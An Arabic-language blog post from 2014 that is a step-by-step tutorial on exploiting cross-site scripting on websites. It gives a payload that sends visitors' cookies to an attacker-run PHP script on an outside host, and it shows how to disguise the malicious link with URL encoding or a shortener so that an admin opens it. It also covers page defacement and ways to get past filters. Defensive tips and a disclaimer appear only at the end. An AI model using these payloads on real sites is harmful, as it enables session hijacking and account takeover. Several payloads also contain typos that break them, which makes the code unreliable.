الثلاثاء، 28 يناير 2014
شرح استغلال ثغرة xss
السلام عليكم في هده التدوينة سوف أشرح لكم عن نوع من أنواع ثغرات Web Application و هي Cross Site Scripting وإختصارها هو xss وعن نوعيها reflected و stored أولا نأتي لشرح هده الثغرات وهي كالتالي : تعتمد ثغراث xss على مدخلات يتم إدخالها من طرف المخترق وهي تكون بلغة javascript أو html و يتم إدخالها غالبا في صندوق التعاليق أو في مربع البحث وبطرق أخرى سوف ندرسها في مايلي من التدوينة أما عن سببها فهو أن المبرمجين لا يقومون بوضع أكواد تمنع من إدخال هده الإستغلالات من طرف المخترقين بالنسبة لما يخص إنتشار هده الثغرة فهو كبير جدا ويسهل الإختراق بها وعن بعض نتائج الإختراق بها فهي كالأتي: -سرقة الكوكيز والدي يسمح لك بالدخول إلى لوحة التحكم للموقع بدون معرفة كلمة السر -تحويل زوار الموقع المخترق إلى موقع أخر من إختيارك وهدا مايستغله البعض في تحويل الزوار إلى مواقع ويطلبون تحميل ملفات أو برامج يوهمون الضحية بأنها من صاحب الموقع المخترق وبالتالي تكون هده البرامج عبارة عن فيروسات تؤدي إلى إختراق أجهزتهم -تغيير محتوى الصفحة بإدحال أكواد html كالتي نراها يوميا و بالمئات وهده تكون غالبا من طرف الأطفال الدين يسمون أنفسهم بالمحترفين ويمكن للمخترق الدكي أن يستعمل الكثير من الطرق ليستغل هده الثغرة شر إستغلال نأتي الأن إلى طريقة الإختراق عن طريقها يمكن أن ندهب إلى أي تطبيق ويب كمحركات بحث المواقع
ونجرب عليه هدا الكود <script>
نقوم بإلقاء نضرة على الكود المصدري لصفحة
كما ترون فإن الكود تم إلحاقه كما كتبناه أما إدا كان الموقع محميا لكتب الكود بهدا الشكل :It;script>&
بعد أن تأكدنا أن التطبيق مصاب بالثغرة نقوم بالتأكيد أكثر عبر إدخال كود جافاسكربت هدا <script>alert("dzmastre")</script>
فيكون الناتج كالأتي
نعم فكما ترون ضهر الرقم الدي وضعناه بين قوسين وهدا دليل على أن التطبيق مصاب بالثغرة
أنواع ثغرات xss :
فكما دكرنا في أول التدوينة فإن ثغرات xss نوعين وهما stored وهو الأكثر خطورة بحيث يتم الإحتفاض بالكود في قاعدة البيانات فخد معي كمثال صندوق التعليقات الموجود تحت هدا الموضوع فلو كان الموقع مصابا فيمكن للمخترق أن يكتب كودا بالجافاسكربت يستطيع به أن يسرق كوكيز كل من يدخل هده الصفحة وأشياء أخرى reflected وهو النوع الأكثر إنتشارا بين المواقع هده الأيام يرسل الكود الضار إلى السرفر عن طريق HTTPrequest السرفر يقوم بإلحاقه بملف html و يرجع الملف وهدا ما يسمى بHTTPResponse إلى المتصفح وعندما المتصفح يفتح ملف HTML يضهر الكود المحقون للمتصفح و هدا النوع يطبق على صناديق البحث بالمواقع وتكون له أضرار كالنوع الأول
كيف يتم سرقة الكوكيز
تستطيع سرقة الكوكيز بكل أنواع Cross Site Scripting فكل ما تحتاجه هو ملفين الأول يكون مكتوب بلغة php مكتوب به كود يقوم بسرقة الكوكيز وأخر بصيغة txt يقوم بإستقبال الكوكيز وتحفض به و تحتاج كدلك لإستضافة لرفع الملفين عليها وهي بكثرة و مجانية ويكون ملف php بعد الرفع بهدا الشكل hxxp://www.YourSite.com/Hacker.php نقوم الأن بحقن الكود في المواقع المصابة بالstored بهدا الشكل
<script>locattion.htef=http://smastredz.tk/hacker.php?cookies='+document.cookies;</script>
وبمجرد دخول admin إلى هده الصفحة فسيتم إرسال الكوكيز الخاص به عن طريق ملفHacker.php إلى الملف النصي txt وبتغيير بسيط في اعدادات المتصفح ستتصفح الموقع المصاب وسوف تدخل الى لوحة التحكم من دون الحاجة الى معرفة كلمة السر او اليوز لن اشرح كيفية تغيير اعدادات المتصفح ويمكنكم ان تبحثو عنها في google اما بالنسبة للمواقع المصابة بالنوع الآخر reflected فسيكون الإستغلال مختلفا بعض الشئ بحيث نحقن الكود السابق في صناديق البحث بحيث تضهر في مكان وضع أسماء المواقع كالآتي
hxxp://www.VulnerableSite.com/index.php?search=
<script>locattion.htef=http://smastredz.tk/hacker.php?cookies='+document.cookies;</script>
وبعدها تقوم بحفض الكود وإرساله إلى الأدمن وبمجرد فتحه ستكون قد سرقت الكوكيز الخاص بموقعه ولقليل من التمويه يمكن أن تقوم بتشفير الرابط فيصبح كالتالي
hxxp://www.dzmastre.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e
أو أن تجعلو الرابط مختصر فيصبح hxxp://www.dzmastre.com/rdsse23
تغيير محتوى الصفحة
وهدا يكون فعالا في stored ولايكون فعالا في reflected بطريقة صحيحة ويمكن تطبيق الأمر الآتي
<'';'body onload= "document.body.innerHTML='YOUr html code her>
تخطي الحماية ضد ثغرات xss في بعض الأحيان تكون المواقع مصابة لكنها تستعمل فلاتر مثل WAF فتضهر وكأنها غير مصابة ودلك بحيث إدا قمنى بإختبار هدا الكود alert("hi") والموقع يحتوي على WAF فسيكون الناتج هو هدا
<script>alert(<xss detected>)</script>
كما ترون لقد غيرت محتوى الكود ومنعت من عمله ويمكن تخطي هده الحماية في حالتين :
تجاوز magic_quotes_gpc هده التعليمة تكون بملف php.ini و إدا كانت تعمل فتقوم بمنع تنفيد أي أمر به مثل هده الرموز " \ ' و يصبح مستحيل تنفيدها لكن هناك الحل لتجاوزها وهو تشفير الكود بASCII كأن نشفر
alert("hi"); String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)
كما ترون الكود لايحتوي على أي رموز هكدا سنتمكن من الإلتفاف على الحماية و يمكن كدلك إستعمال تشفير أخر كالتشفير بHEX
تجاوز الحماية بإستعمال أسلوب التشويش
بعض المواقع لاتسمح بإستعمال alert و script في مواقعها و تقوم بحضرها ويمكن الإلتفاف عليها بطرق سهلة بكتابة الكود هكدا
<script>alert("hi");</script>
h; او يكون مثل هذا لأننا نحن دئما ما نبحث عن عدة طرق
<;script>alert("dzmastre")</script>
كيفية الحماية من هده الثغرات
كمستخدم عادي تستطيع حماية نفسك من خلال إستخدام هده الإضافة الخاصة بمتصفح موزيلا No-Script Addon وأيضا من خلال عدم الوثوق في الروابط القصيرة و للحماية فيمكنك مسح كل الكوكيز من على متصفحك ومن ثم تصفحها من خلال بروكسي لكي لا يلتقط المخترق الأيبي الخاص بك و كصاحب موقع فما عليك سوى إستخدام جدران نارية و سكربتات تحد من فاعلية الثغرة وفي الأخير أود التنويه أن كل ما دكرته ليس إلا للأغراض التعليمية وأنا لست مسؤولا عن أي شخص يستعملها لأغراض التخريب يمكن
طرح تساؤلاتكم من خلال صندوق التعليقات أسفله شكرا للمتابعة وإلى التدوينة القادمة
تصنيف :






0 التعليقات:
إرسال تعليق